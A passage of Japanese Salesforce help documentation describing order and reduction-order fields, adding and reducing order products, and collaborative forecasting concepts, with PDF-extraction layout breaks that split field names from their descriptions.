Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

削減注文を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ページレイアウトと項目レベルセキュリティ設定によって、表示可能な項目や
編集可能な項目が決まります。
注文および削減注文には、次の項目が含まれます。

説明項目

注文に関連付けられている取引先の名
前 (削減注文の場合は参照のみ)。

取引先名

注文に関連付けられている取引先に自
動的に割り当てられる固有番号 (削減
注文の場合は参照のみ)。

取引先番号

注文を有効化したユーザの名前 (参照
のみ)。

有効化設定者

注文が有効化された日付。有効日

請求先住所の市区郡部分。最大 40 文
字です。

市区郡(請求先)

請求先住所の国名部分。エントリは標
準値の選択リストから選択するか、テ

国(請求先)

キストとして入力します。項目がテキ
スト項目の場合は、最大 80 文字です。

請求先住所の都道府県部分。エントリ
は標準値の選択リストから選択する

都道府県(請求先)

か、テキストとして入力します。項目
がテキスト項目の場合は、最大 80 文
字です。

請求先に使用される町名・番地。最大
255 文字です。

町名・番地(請求先)

請求先住所の郵便番号部分。最大 20

文字です。
郵便番号(請求先)

注文の請求先の取引先責任者。請求先 取引先責任者

注文を承認した会社のユーザ。自社 承認者

注文が承認された日付。自社 承認日

契約が有効な最後の日 (参照のみ)。契約終了日

他の契約と区別するための親契約のタ
イトル。(参照のみ)。

契約名
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説明項目

契約に自動的に割り当てられる固有番号。契約番号
は 100 から始まります (削減注文の場合は参照のみ)。

契約番号

注文レコードを作成したユーザ (参照のみ)。作成者

注文における、すべての通貨金額項目のデフォルト
通貨 (削減注文の場合は参照のみ)。

通貨

注文を承認した注文の取引先の取引先責任者顧客 承認者

取引先責任者が注文を承認した日付。顧客 承認日

注文の説明。説明

最後に注文レコードを変更したユーザ。最終更新者

注文に関連付けられている商談。商談

注文の総額。注文 金額

注文が終了する日付。注文終了日

他の注文と区別するための注文のタイトル。注文名

注文に自動的に割り当てられる固有番号。注文番号
は 100 から始まります (参照のみ)。

注文番号

この注文に割り当てられるレコードタイプ。注文レコードタイプ

この注文に割り当てられる参照番号。注文参照番号

注文が有効になる日付。注文開始日

注文種別。エントリは、Salesforce システム管理者が
設定した有効な選択リスト値から選択されます。選
択リストの値には、40 文字まで入力可能です。

注文種別

削減注文の場合のみ。[注文を削減]をクリックして削
減注文を作成すると、親注文の ID が自動入力されま
す。

元の注文

注文の所有者。ユーザまたはキューを指定できます。
注文所有者は、取引先のアクセス権に関係なく、自
分の注文にフルアクセスできます。

所有者

注文が入力された日付。PO 日付

注文番号。PO 番号

注文に関連付けられている見積。見積
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説明項目

選択されている場合、注文レコードに削減注文が表
示されます。[注文を削減]をクリックして削減注文を
作成する場合は自動的に選択されます。(参照のみ)。

削減注文

納入先住所の市区郡部分。最大 40 文字です。市区郡(納入先)

納入先住所の国名部分。エントリは標準値の選択リ
ストから選択するか、テキストとして入力します。
項目がテキスト項目の場合は、最大 80 文字です。

国(納入先)

納入先住所の都道府県部分。エントリは標準値の選
択リストから選択するか、テキストとして入力しま
す。項目がテキスト項目の場合は、最大 80 文字です。

都道府県(納入先)

主な連絡先または納入先住所の町名・番地。最大 255

文字です。
町名・番地(納入先)

主な連絡先または納入先住所の郵便番号部分。最大
20 文字です。

郵便番号(納入先)

注文の納入先取引先責任者。納入先 取引先責任者

注文のビジネスプロセスで、注文がどのフェーズに
到達しているのかを示します。
システム定義の 2 つの注文状況カテゴリ ([ドラフト]

と [有効]) 内でこの選択リストに値を追加できます。

状況

これらの状況カテゴリを使用して、ビジネスプロセ
ス内の注文をレポートおよびビューで追跡できます。
一部のユーザ権限は [ドラフト] 状況に明示的に適用
されます。[有効] 状況に明示的に適用されるユーザ権
限もあります。

関連トピック:

注文
削減注文
注文商品の項目
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注文商品
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

注文を使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

削減注文を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

注文商品は、関連付けられた注文に従って顧客に提供される商品またはサービ
スです。
注文のすべての注文商品は、価格表に関連付けられています。注文の [注文商品]

関連リストでは、注文が関連付けられている価格表が括弧内に示されます。た
とえば、政府機関価格表が注文商品に関連付けられている場合、関連リストの
タイトルは「注文商品 (政府機関)」になります。
削減注文商品は、関連付けられた削減注文に従って返品、削減、プロビジョニ
ング解除、または無効化される商品またはサービスです。各削減注文商品は、
注文商品に直接関連付けられています。

注文への商品の追加
商品を顧客の注文レコードに追加して、販売内容を追跡します。
注文商品の編集および削除の制限
親注文が有効化されているか削減されているかに応じて、注文商品をいつ編
集または削除できるかに対して制限が適用されます。
注文商品の項目
ページレイアウトと項目レベルセキュリティ設定によって、表示可能な項目や編集可能な項目が決まりま
す。

関連トピック:

削減注文への商品の追加
注文
削減注文
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注文への商品の追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

商品を注文に追加する
• 注文に対する「編集」

商品を顧客の注文レコードに追加して、販売内容を追跡します。

メモ:

• 1 つの注文に使用できる価格表は 1 つのみです。
• 注文商品はドラフト注文にのみ追加できます。
• Lightning Experience を使用している場合は、一度に 1 つの商品のみを追加

できます。

1. 商品を追加する注文を開きます。
2. [注文商品] 関連リストで、[商品の追加] をクリックします。
3. この注文に価格表が選択されていない場合は、使用する価格表を選択し、変

更を保存します。
4. 注文に追加する商品を選択します。
5. 注文商品ごとに数量と単価を入力します。
6. 必要に応じて明細説明を追加します。
7. 変更内容を保存します。

関連トピック:

注文や削減注文の編集および削除の制限
有効化の制限に関する考慮事項
注文商品
注文
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注文商品の編集および削除の制限

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

注文を使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

削減注文を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

ドラフト注文または削減
注文の注文商品を編集す
る
• 注文商品に対する「編

集」

ドラフト注文または削減
注文の注文商品を削除す
る
• 注文商品に対する「削

除」

有効化された注文または
削減注文の注文商品を編
集する
• 「有効化された注文の

編集」

親注文が有効化されているか削減されているかに応じて、注文商品をいつ編集
または削除できるかに対して制限が適用されます。
• 注文または削減注文が有効化されると、その注文商品は削除できません。た

だし、その場合も注文商品の項目は編集できます。
• 注文商品が削減されたら、その注文の注文商品の編集や削除はできなくなり

ます。

関連トピック:

注文への商品の追加
削減注文への商品の追加
注文商品
削減注文
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注文商品の項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

注文を使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

削減注文を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ページレイアウトと項目レベルセキュリティ設定によって、表示可能な項目や
編集可能な項目が決まります。
注文商品と削減注文商品には次の項目があります。

説明項目

削減可能な単位数。削減注文が有効化
されると、注文商品の利用可能な数量
が、関連する削減注文商品の数量を反
映して更新されます。
値は 0 以上である必要があります。(参
照のみ)。

利用可能な数量

注文商品レコードを作成したユーザ
(参照のみ)。

作成者

注文商品の終了日。終了日

最後に注文レコードを変更したユー
ザ。

最終更新者

この注文商品レコードの説明。明細説明

親注文の価格表によって設定されたデ
フォルトの価格 (参照のみ)。

リスト価格

この注文商品の親注文。順序

注文商品レコードを識別する自動生成
番号 (参照のみ)。

注文商品番号

削減される注文商品を識別する番号。
注文商品が別の注文商品を削減する場
合は必須 (参照のみ)。

元の注文商品

この注文商品レコードで使用される商
品の名前 (参照のみ)。

商品

商品の特定に使用する内部コードや商
品番号 (参照のみ)。

商品コード

商品の単位数。数量

注文商品に関連付けられている見積品
目名。見積品目名の見積は、注文商品

見積品目名

の親注文に関連付けられている見積と
一致する必要があります。

注文商品の開始日。開始日
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説明項目

注文商品の数量×単価。合計金額

注文商品の単価。単価

関連トピック:

注文商品
注文項目

削減注文
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

注文を使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

削減注文を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

削減注文は、顧客の商品またはサービスを削減、返品、無効化する要求を追跡
するために使用します。
削減注文は、商品の返品、サービスのプロビジョニング解除、またはプロビジョ
ニングされたサービスの削減を処理するための、会社と顧客間の契約です。た
とえば、顧客が 30 個の品目を注文して購入し、後でその注文のキャンセルを要
求した場合、削減注文を作成して要求を追跡できます。
1 つの注文に対して複数の削減注文を作成することはできますが、複数の注文に
対して 1 つの削減注文を作成することはできません。たとえば、3 つの有効な注
文で購入された注文商品を削減する場合、それらの注文がすべて同じ取引先の
ものであっても、元の注文ごとに 1 つずつ、3 つの削減注文を作成する必要があ
ります。

注文の削減
会社が有効な注文に対する返品や削減を受け入れた場合、それらの商品や
サービスの変更を反映して関連する注文を削減できます。
削減注文への商品の追加
削減注文を作成したら、削減が必要な商品と削減する数量を指定します。

関連トピック:

有効化の制限に関する考慮事項
注文や削減注文の編集および削除の制限
注文項目
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注文の削減

エディション

使用可能なエディション:
Salesforce Classic

注文を使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

削減注文を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

注文を削減する
• 「削減注文の作成」

会社が有効な注文に対する返品や削減を受け入れた場合、それらの商品やサー
ビスの変更を反映して関連する注文を削減できます。

メモ:

• Lightning Experienceを使用している場合は、削減注文を作成できません。
Salesforce Classic に切り替えてください。

• 削減できるのは、有効化されている注文のみです。
• 削減注文は、1 つの注文に対してのみ適用できます。複数の注文にわたっ

て注文商品を削減するには、元の注文ごとに削減注文を作成します。

1. 削減する注文の詳細ページに移動します。
2. [注文を削減] をクリックします。
3. 削減注文の詳細を入力し、変更を保存します。
4. 商品を追加して、元の注文のどの商品を削減する必要があるかを示します。

関連トピック:

削減注文への商品の追加
有効化の制限に関する考慮事項
注文項目
注文商品の項目
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削減注文への商品の追加

エディション

使用可能なエディション:
Salesforce Classic

注文を使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

削減注文を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

削減注文に商品を追加す
る
• 注文に対する「編集」

削減注文を作成したら、削減が必要な商品と削減する数量を指定します。

メモ:

• Lightning Experienceを使用している場合は、削減する商品を選択できませ
ん。Salesforce Classic に切り替えてください。

• 注文商品は、[利用可能な数量] がゼロより大きい場合にのみ削減可能で
す。商品を部分的に削減できますが、ゼロ未満になるまで削減すること
はできません。

• 1 つの削減注文で最大 200 個の注文商品を削減できます。

1. 商品を追加する削減注文を開くか、既存の注文を削減して削減注文を作成し
ます。

2. [注文商品] 関連リストで、[削減する商品を選択] をクリックします。
3. [削減する数量] 列に、各注文商品の数量から削減する単位数を入力します。

• 注文商品を完全に削減する場合、[利用可能な数量] の表示と同じ数値を
[削減する数量] に入力します。

• 項目を削減しない場合は、[削減する数量] を空白のままにします。
たとえば、元の注文に 3,000 個のコーヒースリーブが含まれていて、顧客が
2,000 個のみを必要とする場合は、[削減する数量] 列に「1000」と入力しま
す。

4. 変更内容を保存します。

関連トピック:

削減注文
注文商品
注文商品の編集および削除の制限
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売上予測

コラボレーション売上予測によるセールスサイクルの予測と計画

コラボレーション売上予測

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

コラボレーション売上予測を使用すると、営業収益と数量を簡単に予測できま
す。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

コラボレーション売上予測の概念
商談パイプラインから営業収益および数量を予測し、必要に応じて、商品
ファミリ、商談分割、カスタム商談通貨項目を組み込みます。
コラボレーション売上予測の使用に関するガイドライン
主要なガイドラインを確認し、コラボレーション売上予測を最大限に活用し
てください。
コラボレーション売上予測の要素
コラボレーション売上予測を使用すると、商談と売上予測情報を簡単に検索
し、伝達できます。コラボレーション売上予測を使用する場合、売上予測の
構成要素について必ず確認してください。
月別売上予測と四半期別売上予測
[コラボレーション売上予測] 積み上げ集計テーブルには、コラボレーション
売上予測設定に基づいて、各月または各四半期か、複数月または複数四半期
にわたる売上予測の金額が表示されます。デフォルトは 6 か月または 4 四半
期です。システム管理者は、カスタム期間を有効にすることもできます。
売上予測階層
コラボレーション売上予測の売上予測階層は、ネストした展開可能な売上予測ユーザのリストです。これ
により、会社内で売上予測を積み上げ集計する方法と売上予測を表示および調整できるユーザが決まりま
す。売上予測階層はロール階層に基づいており、売上予測マネージャになるユーザを指定します。
コラボレーション売上予測でのパートナーポータルユーザの商談
パートナーポータルユーザはあなたの Salesforce 組織の外部的存在ですが、間接的な販売チャネルを通じて
あなたの組織の商品やサービスを販売します。パートナーポータルユーザは、ポータルを使用してSalesforce

にログインします。パートナーは商談を作成でき、ユーザは商談をパートナーに割り当てることができま
す。
コラボレーション売上予測でマルチ通貨を使用する場合のガイドライン
会社で売上予測とマルチ通貨を使用している場合、Salesforce システム管理者は売上予測通貨を選択して売
上予測種別を有効にします。売上予測通貨は、マスタ通貨または各売上予測所有者の個人設定の通貨です。
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売上予測レポートの使用に関するガイドライン
コラボレーション売上予測を使用する場合、売上予測レポートを最大限に活用する方法に関するガイドラ
インを確認します。

関連トピック:

セールス機能: Lightning Experience で使用できない機能とその新機能

コラボレーション売上予測の概念

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

商談パイプラインから営業収益および数量を予測し、必要に応じて、商品ファ
ミリ、商談分割、カスタム商談通貨項目を組み込みます。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

コラボレーション売上予測を使用して、販売予想を管理し、パイプラインから
商談成立までの会社の販売サイクルを予測および計画できます。売上予測とは、
一連の商談の総合的な積み上げ集計に基づく、期待営業収益の表現です。[売上
予測] タブに表示される売上予測金額は、売上予測の 4 つの各分類 (パイプライ
ン、最善達成予測、達成予測、完了) の商談の合計および小計です。システム管
理者による Salesforce の設定方法に応じて、これらの金額に 1 つの売上予測分類
の商談が反映されることもあれば複数の売上予測分類の商談が反映されること
もあります。売上予測ページで、列名の横にある  (Salesforce Classicのみ) をロー
ルオーバーすると、どの売上予測分類が各列の合計に積み上げ集計されるかが
表示されます。売上予測ページの積み上げ集計テーブルでは、売上予測金額が、
売上予測積み上げ集計別、期間別、および任意で商品ファミリ別にまとめられ
ます (Salesforce Classic のみ)。売上予測には、売上予測マネージャが直属の部下の
売上予測に行った調整と、売上予測ユーザが自分の売上予測金額に行った調整
を含めることができます。
システム管理者は売上予測種別を 4 つまで有効にでき、ユーザはこれを切り替
えることができます。売上予測の種別ごとに、それぞれの目標および調整デー
タが保存されています。
個人または売上予測階層で自分より下に位置する全員の売上予測金額および関連する商談を、売上予測積み上
げ集計別に表示できます。たとえば、直属の部下にあたるすべての営業マネージャ、そのマネージャの直属の
部下であるすべての営業担当者、またはある個人の 7 月の最善達成予測を表示できます。また、自分の売上予
測と、1 つ下のレベルの部下の売上予測を調整をできます。ユーザインターフェースでは、次のすべてのタス
クを簡単に行うことができます。
• 商談チームとの状況コールを実施する。
• 対話型で拡張可能なテーブルを使用して、売上予測を選択および表示する。
• 各売上予測積み上げ集計の 1 か月または 1 四半期、および複数月または複数四半期の範囲の売上予測概要

情報を参照する。
• 商品ファミリを使用する場合は、各商品ファミリの売上予測概要を参照する。
• 商談分割を使用する場合は、各売上予測に占める分割率および分割金額を参照する (Salesforce Classic のみ)。
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• 選択した各売上予測金額に関連する商談のリストを参照および使用する。このリストから商談の詳細に直
接アクセスします。

• 列の境界にマウスを置いてクリックし、データが見やすくなるように幅を調整する (Salesforce Classic のみ)。
• 調整を加え、元の売上予測金額や調整を加えたユーザなど、調整の詳細を参照する。複数の売上予測種別

を有効にしている場合、売上予測種別ごとに別々の調整が保持されます。
• 売上予測マネージャである場合は、売上予測階層間を簡単に上下に移動する。
• 収益ベースまたは数量ベースの売上予測を参照する。
• マルチ通貨で売上予測を表示する。
• 各ユーザの売上予測ページで目標情報を表示する。複数の売上予測種別を有効にしている場合、売上予測

種別ごとに別々の目標情報が保持されます。
• コラボレーション売上予測レポートを使用する。
• パートナーポータルユーザの商談を売上予測に含める。

関連トピック:

コラボレーション売上予測の設定に関するガイドライン
売上予測のバージョン間の違いは?

コラボレーション売上予測の使用に関するガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

主要なガイドラインを確認し、コラボレーション売上予測を最大限に活用して
ください。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

一般的なガイドライン
• 商談レベルで重要な詳細事項を追跡する。
• 潜在的な取引 (メール、会議、アウトリーチなどの活動) に関連するすべての

事柄を測定して、収益に対する貢献度を判定する。
• 商談について、後続のステップを含むアクション可能な ToDo と完了日を作

成する。
• 販売フェーズを売上予測分類に対応付ける。履歴データに基づいて完了の確

度を調整し、売上予測の正確度を上げる。
• 売上予測を調整するときは、部下と対話して、部下があなたの期待値を理解

するようにする。
• 商談は頻繁に変更される可能性があるため、売上予測の調整を毎週再検討

し、調整が無効になることを回避する。
• 売上予測の表示で階層の各レベルにまで積み上げ集計するには、部下を持つ

各営業マネージャを売上予測階層の売上予測マネージャとして指定する。
• ビジネスプロセスおよび用語と一致するように、売上予測分類名をカスタマイズする。
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売上予測情報のナビゲーション
• 部下の売上予測を表示または調整するには、[ジャンプ先] をクリックする。表示されたテキストボックス

で部下の名前の入力 (最大 20 文字) を開始し、その名前を選択する。

メモ: 売上予測階層内で部下のコラボレーション売上予測ユーザからレポートを受ける売上予測マネー
ジャのみに「ジャンプ先」が表示されます。Lightning Experience では、売上予測階層内でドリルダウン
およびドリルアップできますが、[ジャンプ先] は使用できません。

• 売上予測ページで行を展開するには、その行をクリックする。
• 名前にマウスポインタを置くと、[詳細] リンクが表示される。売上予測階層をドリルダウンすると、売上

予測マネージャの名前の付いたナビゲーションリンクがページの上部に表示される。これらのリンクをク
リックして、階層をすばやく移動する。

売上予測情報の表示
• ウィンドウのサイズを 1,024 ピクセル以上に維持する。
• 売上予測積み上げ集計テーブルの情報の形式や金額が原因で、モバイルブラウザで売上予測を操作するこ

とが難しくなる可能性がある。
• 複数の売上予測種別を有効にしている場合は、売上予測ページの右上にあるドロップダウンリスト (Salesforce

Classic) またはギア (Lightning Experience) で売上予測の名前をクリックし、メニューから表示する売上予測種別
を選択する。

• レポートを実行して傾向を分析し、パフォーマンスを確認する。
• 潜在的な販売に関連するすべての活動の総計値に沿ったダッシュボードを作成する。

Chatter を使用したコラボレーション
• Chatter を使用して商談および売上予測情報をチームと共有し、重要な詳細事項に注意を向けさせる。
• Chatterが有効であり、あなたが売上予測マネージャである場合、部下の名前の上にカーソルを合わせて [今

すぐチャット] をクリックすると、[フォローする] や [メッセージを送信] などの Chatter オプションが表示さ
れる。

関連トピック:

コラボレーション売上予測の概念
売上予測レポートの使用に関するガイドライン
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コラボレーション売上予測の要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

コラボレーション売上予測を使用すると、商談と売上予測情報を簡単に検索し、
伝達できます。コラボレーション売上予測を使用する場合、売上予測の構成要
素について必ず確認してください。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

調整
売上予測金額に追加できる詳細情報。調整は、売上予測期間の終了時に売上
予測の商談によってもたらされると見込まれる最終金額についての、売上予
測マネージャまたは営業担当の判断を示します。売上予測マネージャは自分
または部下の売上予測の調整が必要になる場合があります。たとえば、一部
の従業員が、商談に金額を割り当てるときに過度に楽観的または保守的にな
る傾向があるとわかっている場合です。また、営業担当は、商談金額が過小
または過大評価されていると感じたときに、各自の売上予測を調整できま
す。売上予測マネージャは、商談総額のみを含む売上予測と、商談チームの
他の人が調整した売上予測を調整できます。調整によって、基本的な総積み
上げ集計金額が変更されることはありません。詳細情報が追加されるのみで
す。複数の売上予測種別を有効にしている場合、売上予測種別ごとに別々の
調整が保持されます。
売上予測マネージャは、自分の達成予測と最善達成予測を調整できるほか、
売上予測階層の 1 つ下のレベルの部下の売上予測を調整できます。また、売
上予測階層で自分より下の全レベルの部下が行った調整を表示できます。部下の売上予測に行われた調整
は、売上予測マネージャ自身の売上予測に積み上げ集計されます。調整を行うときに、メモを含めること
ができます。この調整メモはレポートに表示されません。

調整なしの金額
個人が所有する商談 (収益ベース) およびその個人の部下の商談の調整なしの合計数量。部下には売上予測
階層のその個人の下位にいる全員が含まれます。この金額はレポートにのみ表示されます。

マネージャによる調整なしの金額
売上予測の所有者が表示する売上予測数。これは、所有者の商談 (収益ベース) とその部下の商談の合計金
額です (売上予測所有者が所有者またはその部下の売上予測に行った調整を含む)。これには、売上予測階
層でその所有者より上位の売上予測マネージャによって行われる調整は含まれません。

マスタ通貨
本社が収益の報告に使用する通貨であり、すべての通貨変換の基本。

売上予測
一連の商談の総積み上げに基づく期待営業収益の表現。[売上予測] タブに表示される売上予測金額は、売
上予測の 4 つの各分類 (パイプライン、最善達成予測、達成予測、完了) の商談の合計および小計です。シ
ステム管理者による Salesforce の設定方法に応じて、これらの金額に 1 つの売上予測分類の商談が反映され
ることもあれば複数の売上予測分類の商談が反映されることもあります。売上予測ページで、列名の横に
ある  (Salesforce Classic のみ) をロールオーバーすると、どの売上予測分類が各列の合計に積み上げ集計さ
れるかが表示されます。
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売上予測ページの積み上げ集計テーブルでは、売上予測金額が、売上予測積み上げ集計別、期間別、およ
び任意で商品ファミリ別にまとめられます (Salesforce Classic のみ)。売上予測には、売上予測マネージャが直
属の部下の売上予測に行った調整と、売上予測ユーザが自分の売上予測金額に行った調整を含めることが
できます。
ここでは、売上予測階層で自分の下に位置するすべてのユーザまたは 1 人の売上予測と関連する商談を、
売上予測分類別に表示できます。たとえば、直属の部下にあたるすべての営業マネージャ、そのマネージャ
の直属の部下であるすべての営業担当者、またはある個人の 7 月の最善達成予測を表示できます。

売上予測金額
売上予測マネージャの観点での収益売上予測、およびすべての売上予測の調整を含む所有者およびその部
下の商談の合計金額。

売上予測分類
商談が商談フェーズに基づいて割り当てられる営業サイクル内のカテゴリ。標準の売上予測分類は、[パイ
プライン]、[最善達成予測]、[達成予測]、[売上予測から除外]、および [完了] です。売上予測分類名はカス
タマイズできます。

売上予測通貨
マスタ通貨または各売上予測所有者の個人設定の通貨。

売上予測の表示通貨
表示する売上予測の単位として選択する通貨。この選択は、有効化されている通貨である必要があり、売
上予測ページから直接行われます。

売上予測階層
ネストした展開可能な売上予測ユーザのリスト。これにより、会社内で売上予測を積み上げする方法と売
上予測を表示および調整できるユーザが決まります。売上予測階層はロール階層に基づいており、売上予
測マネージャになるユーザを指定します。コラボレーション売上予測が有効になっている場合、ロール階
層に基づいて売上予測階層が生成されますが、マネージャ、営業担当者、またはその他のユーザを追加ま
たは削除する必要がある場合があります。

売上予測所有者
商談を所有するか売上予測階層で売上予測マネージャである、売上予測機能が有効になったユーザ。売上
予測マネージャは、自身の商談を含めることができます。

数量ベースの売上予測
売上予測マネージャの観点での数量の売上予測、およびすべての売上予測の調整を含む所有者およびその
部下の商談の合計数量。

売上予測範囲
売上予測に表示する日付範囲。設定に応じて、範囲には月または四半期を含めることができます。

売上予測種別
特定のデータ型を使用するように設定された売上予測。商談の [金額] 項目、商談分割、オーバーレイ分
割、カスタム商談項目、商品ファミリを使用できます。各売上予測種別には、独自の単位として、収益ま
たは数量があります。両方を使用するには、売上予測単位ごとに別個の売上予測種別を有効にします。
Salesforce システム管理者は売上予測種別を最大 4 つまで有効にできます。商談分割またはカスタム商談項
目の売上予測では、数量の売上予測は使用できません。
• 商談数量の売上予測は商談の [数量] 項目に基づいて積み上げ集計されるのに対して、商談収益の売上

予測は商談の [金額] 項目に基づいて積み上げ集計されます。
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• 商談分割の収益売上予測の場合、商談の [金額] 項目と営業担当者に割り当てられた分割率に基づいて
積み上げ集計されます。

• カスタム商談項目の売上予測の場合、カスタム項目の金額に基づいて積み上げ集計されます。
• 商品ファミリの収益売上予測の場合、その商品ファミリのすべての商談品目の [合計金額] 項目の総和

に基づいて積み上げ集計されます。
• 商品ファミリの数量売上予測の場合、その商品ファミリのすべての商談品目の [数量] 項目に基づいて

積み上げ集計されます。
• 商談品目を持たない商談か、指定された商品ファミリが含まれない品目を持つ商談の場合、合計は [売

上予測] ページの [分類されていない商品] 行に集計されます。
総積み上げ集計

一連の商談の総合的な値に基づく期待営業収益の表現。売上予測には、必ず総積み上げ集計金額が含まれ、
調整が含まれる場合もあります。

商談
追跡の対象となる売上および進行中の商談。

商談分割
商談チーム全体でクレジットを共有すること。売上予測データソースが商談分割の場合、売上予測ページ
で分割情報を参照できます (Salesforce Classic のみ)。

商談フェーズ
見込み客または提案など、現在の商談のフェーズ。商談フェーズの値は売上予測分類の値に相関している
ため、商談が売上予測に与える影響を判断できます。

所有者のみの金額
調整なしの個人の商談 (収益ベース) の合計金額。

所有者のみの数量
調整なしの個人の商談 (数量ベース) の合計数量。

個人設定の通貨
目標、特定の売上予測バージョン、およびレポートでのユーザのデフォルト通貨。この通貨は、Salesforce

で有効な通貨の 1 つである必要があります。目標金額は表示通貨で表示されます。
商品ファミリ

商品を分類する方法。たとえば、会社がハードウェアとソフトウェアを販売している場合は、ハードウェ
アとソフトウェアという 2 つの商品ファミリを作成できます。

調整なしの数量
個人が所有する商談 (数量ベース) およびその個人の部下の商談の調整なしの合計数量。部下には、売上予
測階層でそのユーザにレポートを提出するすべてのユーザが含まれます。

マネージャによる調整なしの数量
売上予測の所有者が表示する売上予測数。これは、所有者の商談 (数量ベース) と部下の商談 (部下の売上予
測に行われた調整を含む) の合計数量です。これには、売上予測階層でその所有者より上位の売上予測マ
ネージャによって行われる調整は含まれません。

目標
ユーザに割り当てられる、月別または四半期別の売上目標。マネージャの売上目標は、マネージャおよび
チームに期待される金額の合計と等しくなります。目標の積み上げ集計はユーザおよびマネージャが手動
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で実行し、収益または数量のデータを使用できます。複数の売上予測種別を有効にしている場合、種別ご
とに別々の目標情報が保持されます。

収益
ある分類に当てはまる商談の総期待収益。

積み上げ集計テーブル
売上予測ページの上部にあるテーブル。売上予測ページの下部にある商談リストは、積み上げ集計テーブ
ルの選択と動的に対応します。

部下
売上予測階層で自分の下に位置するコラボレーション売上予測ユーザ。すべての部下の売上予測を表示で
きます。調整を有効にしている場合、すべての部下の調整情報を表示でき、階層で自分の 1 レベル下に位
置する部下の売上予測を調整できます。売上予測金額と調整は、自分の売上予測ページの売上予測に積み
上げ集計されます。

関連トピック:

コラボレーション売上予測の概念

月別売上予測と四半期別売上予測

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

[コラボレーション売上予測]積み上げ集計テーブルには、コラボレーション売上
予測設定に基づいて、各月または各四半期か、複数月または複数四半期にわた
る売上予測の金額が表示されます。デフォルトは 6 か月または 4 四半期です。シ
ステム管理者は、カスタム期間を有効にすることもできます。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

コラボレーション売上予測期間の設定に応じて、過去または将来の 12 か月また
は 8 四半期までの売上予測が可能です。売上予測範囲に当月または当四半期が
含まれている場合、売上予測ページには当月または当四半期が表示されます。
含まれていない場合は、範囲の最初の月または四半期が選択されます。会社で
月別売上予測または四半期別売上予測のどちらを使用していても、売上予測マ
ネージャは、目標を使用して部下の売上予測を調整できます。目標および調整
の期間は、期間の設定に基づいています。
売上予測の日付範囲が、すべてのコラボレーション売上予測ユーザのデフォル
トになります。ユーザはこのデフォルト値を使用するか、自分の売上予測用に
異なる日付範囲表示を設定できます。ユーザが個々の売上予測日付範囲表示を
変更した場合、システム管理者はそれを上書きできません。ただし、期間の表
示を [毎月] から [毎四半期] または [毎四半期] から [毎月] に変更した場合は、すべ
てのユーザの売上予測に変更内容が反映されます。

関連トピック:

売上予測の日付範囲表示の変更
コラボレーション売上予測の概念
会社の売上予測日付範囲の定義
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売上予測階層

エディション

